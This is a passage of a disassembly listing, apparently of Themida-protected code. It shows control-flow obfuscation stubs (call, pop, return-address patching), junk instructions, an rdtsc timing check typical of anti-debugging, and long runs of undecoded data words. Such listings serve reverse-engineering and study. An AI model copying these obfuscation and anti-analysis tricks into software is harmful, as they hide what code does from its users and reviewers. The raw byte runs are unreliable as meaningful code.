0DB99C6C3h, 0FCD00F1h, 0BF0FFEB7h dd 85C7F5FBh, 6131E51h, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+61314EDh] loc_5CF15A: ; CODE XREF: Themida_:005CED92j jmp near ptr dword_5CDD68+79Ch ; --------------------------------------------------------------------------- push 0 push esi call sub_5CF16A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF16A proc near ; CODE XREF: Themida_:005CF162p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5CF16A endp ; --------------------------------------------------------------------------- fucomp st(7) mov ebp, 232FC9D0h push esp pop edi push esi pop edi push ecx clc pop edi mov eax, ecx push 0 push eax call sub_5CF195 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF195 proc near ; CODE XREF: Themida_:005CF18Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5CF195 endp ; --------------------------------------------------------------------------- sub [eax], esi pop es adc [ecx], bh push esi mov edi, [ebp+6132FE9h] pop ebx lea eax, [ebp+6131EA9h] jmp loc_5CF1C4 ; --------------------------------------------------------------------------- db 0C1h, 4Eh, 0EBh dd 4C23A7A7h ; --------------------------------------------------------------------------- loc_5CF1C4: ; CODE XREF: Themida_:005CF1B8j movzx edi, ax nop push eax push eax push edx rdtsc mov bl, dh pop edx pop eax nop push 0 push 0 push ebx call sub_5CF1DF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF1DF proc near ; CODE XREF: Themida_:005CF1D7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5CF1DF endp ; --------------------------------------------------------------------------- push 0F5958B60h adc edx, [ebx] push es popa push 0 push 0 push ebp call sub_5CF205 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF205 proc near ; CODE XREF: Themida_:005CF1FDp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5CF205 endp ; --------------------------------------------------------------------------- db 81h, 0CCh, 0Ah ; --------------------------------------------------------------------------- jmp loc_5CF224 ; --------------------------------------------------------------------------- db 67h, 5Ch, 0DCh dd 0A8FE906Dh ; --------------------------------------------------------------------------- loc_5CF224: ; CODE XREF: Themida_:005CF218j lea eax, [ebp+61830F5h] push 0 push eax call sub_5CF235 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF235 proc near ; CODE XREF: Themida_:005CF22Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5CF235 endp ; --------------------------------------------------------------------------- cmp al, 0B4h add eax, 5 push 0 push ecx call sub_5CF255 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF255 proc near ; CODE XREF: Themida_:005CF24Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5CF255 endp ; --------------------------------------------------------------------------- db 74h, 60h, 0Fh dd 58Ah, 0D7816600h, 0CE88A9Ah, 59000000h, 514DE381h, 0B1F030DCh dd 8924DB26h, 1300A19Dh, 90615B06h, 9E9h, 95A41A00h, 91402D87h dd 0E850D782h, 0Ah, 4EBBAC65h, 0B934B9BDh, 66B736DDh, 0FC60905Fh dd 2349BD29h, 6A610613h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 368ECD97h, 19FFCFC3h dd 8D896500h, 61306F9h, 0FC8A006Ah, 7F195FFh, 95890613h dd 6132849h, 0A36A8D8Dh, 6A0616h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 652D2AC3h, 7ABB0804h dd 0FF37B73Ch, 0D18D89D1h, 83061322h, 13173DBDh, 850F0106h dd 8Bh, 0B1DB509h, 26A0613h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0EC35242h, 13164EFh, 34C0C879h dd 4985BB90h, 0F502ED6h, 1A84h, 10E800h, 5F670000h, 0C83F7E6Fh dd 0AF300156h, 8B6B78D1h, 0BF6666A8h, 905B7420h, 95FFFA8Ah dd 6131E95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 44C35242h, 4D8FF04Eh, 93C61745h, 6E9h, 0F9119B00h dd 0E9812969h, 0E2Fh, 0E8h, 0ED815D00h, 61830FFh, 0BEE216BFh dd 8B606023h, 130D8585h, 2A18BA06h, 0F961572Dh, 5E858D61h dd 6A06168Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 6579C352h, 9215E8E8h, 12BF66ADh dd 57DB805Ah, 0CE95090h, 0B000000h, 0EA722CE7h, 8B4FAD12h dd 90EDD77Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 98C35141h, 0FF84F84h, 68Ch, 0F5B58900h, 8B061313h dd 35FF64DEh, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5CF467 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF467 proc near ; CODE XREF: Themida_:005CF45Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5CF467 endp ; --------------------------------------------------------------------------- db 49h dd 814CB8EBh, 0EA5D2FD7h, 5E913h, 5EDB0000h, 0F877E07h dd 284h, 645F5700h, 2589h, 9D8B0000h, 6132821h, 16D985FFh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 6A1E0DC3h, 519D8907h, 6A06130Dh, 0CE960FFh dd 0CB000000h, 75ADB00Dh, 40C57A9Ah, 891051B9h, 132F8D95h dd 0B5FF6106h, 6132331h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0E3C35040h, 0BE84E2Ch, 95FF9846h, 61331ADh dd 16CE9h, 799D8B00h, 0B0061324h, 15C38100h, 0E66F1432h dd 80516070h, 0E85E44C4h, 0Fh, 0FD84D6D4h, 4D6D13C0h, 4DA7212Bh dd 0F894D76Dh, 71E4615Ah, 48B0Fh, 0BF660000h, 613C8331h dd 12B830Fh, 0B60F0000h, 5E8C8h, 70D0000h, 56579227h, 1B018D89h dd 5F5B0613h, 14E8h, 0FA4AFC00h, 88FFB8C4h, 127CD8FFh dd 5A203C3Fh, 0C7E6A2Fh, 68E0FA4h, 89000000h, 13299D8Dh dd 6BA5F06h, 0E9000000h, 11h, 59FCF4F4h, 0F8769D68h, 1150FE88h dd 548BE7C0h, 0FC18B87h, 0AE9DAB7h, 0EC000000h, 4FE57FE2h dd 0ED646B53h, 4E8C139h, 0FE2F766h, 685h, 0F1958900h, 2B061315h dd 0CE8C8h, 41260000h, 46ABB689h, 5D582F38h, 0BD8BAF4Eh dd 6133135h, 89D18B5Fh, 131AF9BDh, 87E906h, 9600000h, 130D61BDh dd 0C7BF0F06h, 4C858B61h, 89494755h, 132B6985h, 9BD8906h dd 83061328h, 0C08307C0h, 0E5BB6600h, 0FD03BE5h, 2783h dd 12E96000h, 0 dd 0BBE30789h, 12FB4977h, 7C46A794h, 51E21640h, 0C38B662Bh dd 37E961h, 0BD8B0000h, 6131619h, 0FFFF8D8Bh, 0E183FFFFh dd 22840F01h, 83000000h, 0FFFFFFA5h, 0F51FEFFh, 382h, 0F8BF0F00h dd 4C95895Bh, 53494755h, 5BFE8B66h, 0E9h, 23B58D00h, 6A0617B2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0F213C350h, 97F6F4A6h, 0AFA6E781h, 6A512Eh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 4BC35545h dd 95FF0329h, 6130DA9h, 0D0B95F57h, 6A00000Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0DA3CC355h, 85D9F132h, 9D8BDA84h, 6130F21h, 6AFCE183h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0D03CC353h, 2E24EE5Eh, 11E89584h, 4000000h dd 0EE903DE1h, 0BDEB6C86h, 20FBC7F4h, 0A719AC63h, 32119D03h dd 0FC5F0613h, 23359D8Bh, 0B80613h, 81000000h, 0FF6DAEE7h dd 0C9950920h, 2B061300h, 819D8BD2h, 0AD061310h, 0E8D1C233h dd 0E983D003h, 89F47504h, 131D859Dh, 0A850F06h, 60000000h dd 4046BA66h, 4E52BA66h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 4777191Ch, 9367AF16h dd 659D33F8h, 0D061325h, 88h, 10E8h, 0C188900h, 958815BEh dd 0D7BDF4C3h, 0C4F2D964h, 0DA8B6670h, 0BD958B5Bh, 8906131Bh dd 131B4585h, 0DD8D8B06h, 6A061318h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 9771C351h dd 0E95D563h, 66408D98h, 387CC781h, 0C28B50F5h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6698EF81h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A0C35545h, 7E045FCh dd 0BD83BDC0h, 6131D1Dh, 66840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 25E2C353h, 0E81835FAh, 721ABF25h, 0BB660D3Dh, 0B8825Ch dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 43FCC351h, 533EE39Ch, 8130D6E8h dd 0E0EEDFC3h, 8D8D8D06h, 0FF06134Fh, 2BBB66E1h, 55BD8341h dd 61330h, 44B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 4A1EEDC3h, 0BFE176D4h dd 1DBF6643h, 11E9E5h, 10E0000h, 7D0312B8h, 0DE4B29E3h dd 65667A45h, 0E963688Fh, 0Bh, 3E1106ABh, 3E936DF1h, 8328C903h dd 133055BDh, 840F0106h, 40Ch, 8E9h, 56C3EF00h, 2FE09D9Ah dd 55BD83D0h, 3061330h, 3BC860Fh, 0EE90000h, 48000000h dd 0F2D5EEB1h, 4DF79888h, 0BDD876BDh, 0BF666053h, 8C6619F3h dd 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 63F092B6h, 0D880FFCh, 0E9000000h, 8, 0B688205Ah dd 53093624h, 8B04E180h, 132B819Dh, 0FC90A06h, 13884h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 51086A49h, 6860F71h, 89000000h, 131DED95h dd 0B9858B06h, 6A06132Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 7FD9C352h, 44D4D012h dd 59C32830h, 5B98533h, 6A0613h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0F796F1C3h, 8EE6F70Bh dd 81BF6659h, 9E95019h, 0E0000000h, 5A9FBD6Ch, 39975704h dd 7E9905Bh, 0EF000000h, 1A8292E8h, 9050D872h, 9FB8B66h dd 13320DBDh, 0B3006A06h, 8E81687Ch, 6CBFA582h, 8179C12Ch dd 757E2404h, 6A5A9Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 5F0A53C3h, 866D22E8h, 35BB7421h dd 0FF00D089h, 130A3D95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0F843B888h dd 5485894Fh, 8B0616C4h, 130EADBDh, 0B810F06h, 0E9000000h dd 6, 9860F9A6h, 0A8E9565Fh, 31000001h, 13237985h, 4C858B06h dd 290616C4h, 1325FD8Dh, 1800C706h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 616EC351h, 3A5ADD35h, 0E137422Eh, 0C450B58Bh, 0BF0F0616h dd 55858BDAh, 8906132Ah, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 8D24101h, 3830Fh, 8B660000h dd 0B9858BF8h, 6A06132Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0A1F9C350h, 89F947B7h dd 0BD330446h, 61324F9h, 0D1B66050h, 24348961h, 0B5FFF88Bh dd 616C44Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0D8C35747h, 8E896h, 0F01C0000h, 0D5E8A88Dh, 9D233ECCh dd 613177Dh, 0B8BCBF5Fh, 9589309Dh, 61309A1h, 0B1971968h dd 0DE8B660Fh, 0E6243481h, 8D0FAE94h, 16C45485h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 6E98D91Ah, 60507508h, 11E8h, 49A38400h, 1DA23BBFh, 695F9167h dd 2DA00307h, 11E82AB3h, 0FF000000h, 5BF03AFCh, 51B2CCA9h dd 0C40E09DBh, 2E818A0Ch, 0BE665A58h, 89615E07h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0F7BC83C3h, 3AD99C61h, 820FA42Bh, 6, 207D8501h, 95FF0613h dd 6130A3Dh, 0D870Fh, 8E90000h, 0D5000000h, 9F9BB7D5h dd 618B9368h, 3109BD8Bh, 9D8B0613h, 613259Dh, 305585C7h dd 30613h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 5A8252C3h, 54BD8309h, 616C4h, 40840Fh dd 880F0000h, 6, 0EB5BD29h, 4AE90613h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0FF0C353h, 78Bh, 1890F00h, 0F5000000h, 0FF18589h, 30500613h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 501CBBC0h, 0BD01330Bh, 6133029h, 3055BD83h, 0F030613h dd 46285h, 12E900h, 7C790000h, 0E39DEFBDh, 7B858609h, 6FBDFCB8h dd 0F33985ACh, 0C454BD83h, 0F000616h, 43E84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 3A239568h, 0B5FF547Dh, 616C454h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0AEC35242h, 0D869961Bh, 66F62536h dd 14E9h, 0B1CAF700h, 0E433BDF8h, 9489BFE7h, 98192714h dd 0AEF0A7AEh, 6995FF8Fh, 0F061309h, 68Ah, 71858900h, 8B06131Dh dd 16C448B5h, 59D2906h, 0C7061323h, 1000106h, 25BD8B00h dd 9606132Ch, 9E8h, 84E1AD00h, 1E77AA86h, 8B66E36Ch, 8B505FDAh dd 9D8B96DFh, 613301Dh dd 0C454B5FFh, 9D890616h, 6131729h, 322995FFh, 6A0613h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 92E231C3h, 809F6644h, 0B58B46C7h, 616C448h, 0D6C38166h dd 31858B8Bh, 6A061306h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0BD92C357h, 7BED3E55h dd 91F47700h, 919BD8Bh, 8D890613h, 613012Dh, 0EE8h, 0FA150000h dd 44C96785h, 0EE92FC97h, 897BBD70h, 131E319Dh, 86895F06h dd 0C4h, 0DE9h, 3C2E0C00h, 8864E881h, 23EB6A2Ah, 9D09B130h dd 61314ADh, 1BBD958Bh, 6A0613h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0C2839EC3h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0F41F6E79h, 57648579h, 9D33C577h, 61329A1h, 23B98589h dd 50890613h, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 89680FFCh, 130D1D95h, 0E3858D06h dd 800616D8h, 9D891CDFh, 6131F7Dh, 0B88689h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0A1530DC3h, 0BC6E8409h, 0CEBB9030h, 6A30AEFCh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 492DC609h, 0B5FFF2D1h, 616C454h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 2AC35141h, 1601BD09h, 95FF0613h dd 6131E95h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 8FC35343h, 501EC012h, 12E8h, 327EB800h, 6F9C6FADh dd 26034DB5h, 967836F5h, 5B1A2A58h, 6A243489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 725DC350h, 0C36345D1h, 0FF76A2AAh, 16C454B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0CE5C9941h, 60523B8Fh, 2605858Bh, 9D8B0613h, 6130F4Dh dd 4BBB6661h, 4595FF6Fh, 8B061321h, 13296DBDh, 95BD8306h dd 61314h, 13840Fh, 0CF810000h, 78B2BD48h, 0E7BF6650h dd 243489A1h, 7A95E7BBh, 54B5FF0Bh, 6A0616C4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0FAEC351h, 28Dh, 66DDB300h, 0B55CF781h, 5AD95FFh, 81600613h dd 0B7B35AEEh, 0D88B6605h, 54B5FF61h, 6A0616C4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 6625C351h, 0FE8B66DEh, 120995FFh, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8314C3h dd 6130511h, 6C840F02h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0ACF8C356h dd 93EA5DDCh, 0E9F1680Dh, 0Ch, 1463486Bh, 66AA1FA4h, 4E6DBAD5h dd 0F55858Bh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 329011C3h, 48D0Fh, 60500000h, 0C65B61h dd 199D8B00h, 0C7061306h, 131E5185h, 6, 0F98D2900h, 0E906130Fh dd 0FFFFF2FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 94C35242h, 164945BFh, 66C18B44h, 8DF8E4BBh, 18402A8Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0EF056D3Bh, 89C68BF5h, 131BBD8Dh, 13E806h dd 376F0000h, 3315EBE4h, 0D28C1ADCh, 2AC4DCA5h, 0E5087E4Eh dd 148B0F22h, 0E8000000h, 0Eh, 2278A2CCh, 9DEE71Dh, 0C4B1FE4Bh dd 5A5ACE69h, 18DD85C7h, 60240613h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 950667C3h dd 5F5851B1h, 305585C7h, 613h, 0B5FF0000h, 613302Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h, 0BE905h dd 0BCC60000h, 26C82F28h, 64ACA07Ch, 6E95Ch, 4DE40000h dd 0A263AE3Ch, 1D8995FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0DA8000C3h, 0FF006A87h dd 130DA995h, 0EBC08B06h, 0DCEB8D7Fh, 5BE4A752h, 0A1BB256Dh dd 3779A661h, 0BEFE2EBEh, 0F6AEB917h, 0F85A6B99h, 0AC72869Ch dd 2320BB1Eh, 0E16C8417h, 91B71BD5h, 24D77DCFh, 0BDFE9F41h dd 0BAE847E9h, 0F714E402h, 83EE3729h, 88D2C16Eh, 9086DAF8h dd 5889DBD1h, 542A8AA7h, 727E2C4h, 5DC38C61h, 0A6A32B77h dd 4A36F75Bh, 0DF5F57FCh, 4A0D1525h, 2499F961h, 5B73FD3h dd 99EECE1h, 9409110Bh, 326BF194h, 0E7D04F8h, 41758D8Dh dd 8D890618h, 6131BBDh, 85C7D68Bh, 61318DDh, 5A14h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 18C35141h, 83DA0F1Eh dd 66B9DD3Ah, 0C7047CBAh, 13305585h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0EF2F45D5h, 0CDEE79FFh, 0BF0F755Fh, 14E9C0h, 0EF880000h dd 0FC568DFEh, 0D0461323h, 37616078h, 890CD9B6h, 0B5FF53ABh dd 6132831h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0D5C35040h, 0F3DCDAAEh, 6E136B20h, 1D8995FFh, 0BD890613h dd 6133101h, 95FF006Ah, 6130DA9h, 2FEBC08Bh, 0D227C7B0h dd 733E83BEh, 9B134694h, 0B9772B0Bh, 0A365C2CEh, 3DD254B8h dd 56AAAF43h, 2BA125B3h, 4326A925h, 0A0D40C8Eh, 98DE54D4h dd 8D5DFA7Dh, 18421F8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0AE7ABDE9h, 7C8214B1h dd 0FBBE567Ch, 8B12698Ah, 0BD8D89FAh, 8006131Bh, 0DEB477E4h dd 18DD85C7h, 71100613h, 9D890000h, 6131361h, 305585C7h dd 613h, 0B5FF0000h, 6132331h, 0BBDBD23h, 95FF0613h, 6131D89h dd 0BF5858Bh, 6A0613h, 0DA995FFh, 0C08B0613h, 0C88F7EEBh dd 78FEE006h, 5FD9FB8Eh, 50329321h, 7B8AAEC5h, 0AB7962D7h dd 57060963h, 190ABD39h, 4116D1A5h, 8FCE5C99h, 34BC523Bh dd 5BF8EF52h, 0A8B04251h, 4581E395h, 3572B953h, 0A465D20h dd 0E545EB74h, 0FFFED19Dh, 0CD9A26BEh, 0C9206153h, 0CC27915Fh dd 25165DF0h, 9831BD16h, 0F7B75156h, 3A0662F2h, 0E15F99C2h dd 0E36EB5C6h, 0F2896510h, 0DECCF514h, 51588380h, 841E9FA1h dd 223E5005h, 16E05736h, 47E03EC3h, 84B91D95h, 63ACB493h dd 63A4BC61h, 47E021B6h, 84B17C59h, 7339F3F2h, 64DFE24Fh dd 0E67DB60Fh, 0CCE62EB0h, 3C2DBD0Ah, 51C580E6h, 32E03BA1h dd 0C65DBE50h, 47E62E80h, 14B02422h, 4458FDA0h, 0CEE03D91h dd 54ED404Fh, 3A7DB063h, 0B8E6281Bh, 0C4B8668Ah, 54CCBC11h dd 50943D50h, 44586E7Bh, 0CEE03D91h, 54ED404Fh, 2B7DB063h dd 0B8E62814h, 0CEB8668Ah, 54C4A829h, 47E7D450h, 700D3D2Bh dd 83429DC7h, 2D20B66Ah, 44086865h, 67E03DB2h, 0CEBDFE04h dd 0C6E419C0h, 5EE41912h, 2E03D2Bh, 0A6E2FEC0h, 41C6CF59h dd 2D38B103h, 44086CB2h, 67E03D59h, 0CEB9FEF5h, 0C6E4191Ah dd 5FE4196Fh dd 6E03D95h, 3A43FE9Bh, 48325226h, 47E0313Ah, 41643259h dd 0CEE03DACh, 54CC64EBh, 48E4952Dh, 47E40B11h, 536C32CAh dd 0AEE03D65h, 47E03DBDh, 0A9C677F9h, 5EA28D10h, 0AB6CE1BBh dd 0C4968FB0h, 54F29828h, 0C3EF3DCCh, 47E03D69h, 4F090B01h dd 0C7E03D5Dh, 0D1536545h, 47C73DE8h, 15E05729h, 47E03E7Dh dd 84BA1DCAh, 63B4B43Fh, 63A4BCB6h, 47E02A5Dh, 84B27FACh dd 0A9214FBBh, 531DB018h, 0C26D3B86h, 41F64DC6h, 72A5B0ECh dd 971F3BA1h, 64F980D2h, 815A3BBFh, 0C2AA8042h, 0E86432EBh dd 2DE03D95h, 44086ACAh, 67E03D65h, 0CEBFFEEDh, 0C6E41925h dd 51E419E8h, 0E03D56h, 6C6FFE7Ch, 8D615B0Eh, 7F61F36Ch dd 0BC615B32h, 47A5B8BDh, 0DA6B3D59h, 41F32E2Dh, 4398BC30h dd 0C3EF3F29h, 47E03E06h, 47E02C22h, 0FEE14C65h, 40B35652h dd 70B71984h, 0A52571F0h, 0FA6B3508h, 41F30CA6h, 47EAD5CCh dd 3BAC3DCAh, 30E31163h, 0FFB1AC33h, 430DA0D2h, 21BA3BBFh dd 277C05D7h, 47D0B824h, 0CC803D95h, 54CB987Fh, 3F605C63h dd 0C2EFD5B0h, 47E03D47h, 6D9DB025h, 0C6863B45h, 0ECE03B53h dd 47ECB89Ah, 0BF6B3DCAh, 47E3178Ch, 0A6615BB2h, 475E619Ah dd 0CCA63CADh, 54EEB4C3h, 105A5B2Dh, 4B65B05Ch, 0CCE62BBAh dd 54ED58D8h, 4830C2B4h, 47E03FDAh, 0C219B6ACh, 9B643296h dd 15E03D29h, 47EDD4F5h, 0FC3DCAh, 0C0C4F040h, 204AEBF0h dd 0C656143Dh, 8E22545Bh, 0C6B95C78h, 45DD5B13h, 2653297h dd 0AEE03DCAh, 47E03D6Ah, 1767EFB4h, 4A438D9h, 4D9038C8h dd 0C63A5FA8h, 7A863B53h, 0C3EF47CAh, 47E03F65h, 0AFB63D0Fh dd 47E03DB1h, 19236379h, 43C44925h, 43C479D7h, 47E03D32h dd 0D9236BD3h, 4D310CDEh, 883FBDE0h, 0DBD8BCD4h, 0C9653239h dd 2DE03DACh, 44086E56h, 67E03D2Bh, 0CEBBFECEh, 0C6E41996h dd 5AE41921h, 4E03DB2h, 0AA0EFE0Ah, 7F574147h, 3C58ED50h dd 4B89B0A0h, 0FA693B86h, 41F3388Fh, 0AFE245E5h, 47B3B8BDh dd 0C6863D59h, 2104C45Eh, 21C0F8EFh, 47E645AAh, 79653255h dd 11E03DCAh, 47E3BD6Ah, 0F8EF3DB2h, 67096488h, 2DE03DAEh dd 44086C56h, 67E03D2Bh, 0CEB9FECCh, 0C6E41986h, 5DE41921h dd 6E03DB2h, 5B46FE08h, 4108F69h, 0F66DB426h, 0CEE62E09h dd 54C30008h, 46E083CCh, 478A4364h, 47E3D5E4h, 19C03D59h dd 3369636Fh, 3613972h, 47FD390Fh, 11A63D95h, 9B366109h dd 16699F8Ah, 0CEA28132h, 54C86CE4h, 4B65B0AAh, 0CEE62B26h dd 54ED2CA6h, 0AE30C293h, 47E03DC2h, 2C1F6C0Bh, 1A0BF122h dd 0C3EFFDDCh, 47E03C2Fh, 910BBC30h, 0AFD8BD15h, 4760B89Ah dd 478A3DCAh, 47E3D537h, 1DC03DB2h, 1369679Ah, 3613988h dd 47FD3972h, 15A23D2Bh, 0C1654E56h, 0A6623EC3h, 21878176h dd 0C733730Bh, 48933821h, 47E07029h, 0A551456h, 0C7E62E2Dh dd 48B33AEDh, 47E1734Eh, 11E05765h, 47E03E5Ah, 84BE1D59h dd 6394B4F2h, 63A4BC52h, 47E0252Fh, 84B67B95h, 3F168264h dd 47F4D5B3h, 18463DB2h, 63472FCDh, 8509433Dh, 0DA4A79F0h dd 992EA09Bh, 0B1607247h, 0C68666E0h, 48E5B25Dh, 47E0D737h dd 10E05759h, 47E03E44h, 84BF1D56h, 639CB474h, 63A4BC91h dd 47E029CEh, 84B77A65h, 47F2D458h, 0FAEC3D59h, 0E6F72BD3h dd 80C95A73h, 0E7F840BDh, 0C916A07Dh, 2FE6454Ah, 474DB86Ah dd 478A3DB2h, 47E3D509h, 1FC03DACh, 3696595h, 361390Fh dd 47FB39B1h, 17A03DCAh, 7B5D5EA6h, 933B4B8Ch, 47EBD578h dd 73BE3DACh, 6D3E2BB2h, 3D371E4Bh, 41653285h, 0CCE03DCAh dd 54D274D8h, 0C68664B4h, 621F3621h, 4781B8A3h, 478A3D56h dd 47E3D578h, 1CC03D95h, 1B696609h, 3613941h, 47F63996h dd 14A33D59h, 0EAA3666Fh, 47E067BFh, 10E0572Bh, 47E03E7Dh dd 84BF1DCAh, 639CB43Ah, 63A4BCB6h, 47E02A5Dh, 84B77AACh dd 4420308Dh, 5635A82Ah, 53093B86h, 1AE03DCAh, 6D29186Eh dd 2C29F923h, 0C3E4ACB3h, 0B9A7F257h, 0FF7E24C3h, 47E03D2Bh dd 4D898096h, 0CA6B3BD9h, 41F337CCh, 47E00B5Bh, 0C65D0C59h dd 0FFE62EA9h, 47E03D57h, 0AFB63D41h, 47E03D96h, 192363EAh dd 43C449ECh, 43C47933h, 47E03D43h, 79236BEAh, 8CA594B4h dd 0DA694770h, 41F312E8h, 178BD44Ah, 0CE28B603h, 478A19B6h dd 47E3D508h, 1EC03DACh, 0B696495h, 361390Fh, 47F539B1h dd 16A13DCAh, 0CA9927A6h, 5FA29F0Fh, 166DB05Fh, 0FFE625E4h dd 30866875h, 50EDB828h, 88CB3B86h, 6446E083h, 0E4478A43h dd 5947E3D5h, 6F19C03Dh, 72336963h, 0F036139h, 8347FD39h dd 0A4F305E9h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0A2E771BAh, 2850Fh, 92B60000h dd 0C00BDCB1h, 70840Fh, 